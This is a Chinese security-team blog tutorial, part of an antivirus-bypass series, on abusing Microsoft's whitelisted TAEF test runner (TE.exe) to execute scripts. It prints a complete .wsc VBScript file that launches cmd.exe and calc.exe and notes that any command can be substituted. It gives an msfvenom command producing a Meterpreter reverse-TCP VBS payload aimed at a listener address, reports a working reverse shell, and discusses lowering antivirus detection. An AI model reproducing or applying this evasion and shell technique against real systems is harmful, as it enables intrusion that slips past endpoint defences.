声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus
如果安装了TAEF(Test Authoring and Execution Framework)框架并且位于列入白名单的路径中,则可以使用它,需要在计算机上安装Visual Studio和WDK。
微软官方文档:https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/
默认安装位置:
C:\ program files(x86)\Windows Kits\10\testing\Runtimes\TAEF
使用脚本语言编写测试,Windows仅支持JScript和VBScript。
直接使用github上编写好的.wsc文件,执行calc.exe弹出计算机。https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42#file-datadriventest-wsc
<?xml version="1.0" ?>
<!-- Te.exe DataDrivenTest.wsc -->
<!-- C:\Program Files (x86)\Windows Kits\10\Testing\Runtimes\TAEF > ./TE.exe DataDrivenTest.wsc -->
<!-- Test Authoring and Execution Framework v5.8k for x64 -->
<!-- StartGroup: VBSampleTests::TestOne -->
<!-- Calling TestOne -->
<!-- EndGroup: VBSampleTests::TestOne [Passed] -->
<!-- Summary: Total=1, Passed=1, Failed=0, Blocked=0, Not Run=0, Skipped=0 -->
<?component error="true" debug="true"?>
<package>
<ModuleProperty name="Owner" value="Someone"/>
<component id="VBSampleTests">
<object id="Log" progid="WEX.Logger.Log" />
<reference guid="e65ef678-a232-42a7-8a36-63108d719f31" version="1.0"/>
<TestClassProperty name="DocumentationUrl" value="http://shelltestkb/"/>
<public>
<method name="TestOne">
<TestMethodProperty name="Priority" value="1"/>
</method>
</public>
<script language="VBScript">
<![CDATA[
Function TestOne()
Log.Comment("Calling TestOne")
CreateObject("WScript.Shell").Run("cmd.exe")
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objWMIService.Create "calc.exe", null, null, intProcessID
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colMonitoredProcesses = objWMIService.ExecNotificationQuery _
("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process'")
Do Until i = 1
Set objLatestProcess = colMonitoredProcesses.NextEvent
If objLatestProcess.TargetInstance.ProcessID = intProcessID Then
i = 1
End If
Loop
End Function
]]>
</script>
</component>
</package>
可以替换calc.exe为自己想要执行的命令,比如执行系统powershell命令等等。
使用msfvenom生成反弹vbs payload。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.100.207 lport=4444 EXITFUNC=thread -f vbs --platform win > test.vbs
替换.wsc文件
执行修改后的.wsc文件。
反弹成功。
打开杀软进行测试,当执行.wsc文件时会报毒,主要是msf生成的payload特征太明显了,可以根据自己的需求编写自己的vbs脚本。
vt查杀率27/57
https://gist.github.com/N3mes1s/5b75a4cd6aa4d41bb742acace2c8ab42https://twitter.com/gN3mes1s/status/927792345378099200https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/overview-of-executing-tests
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: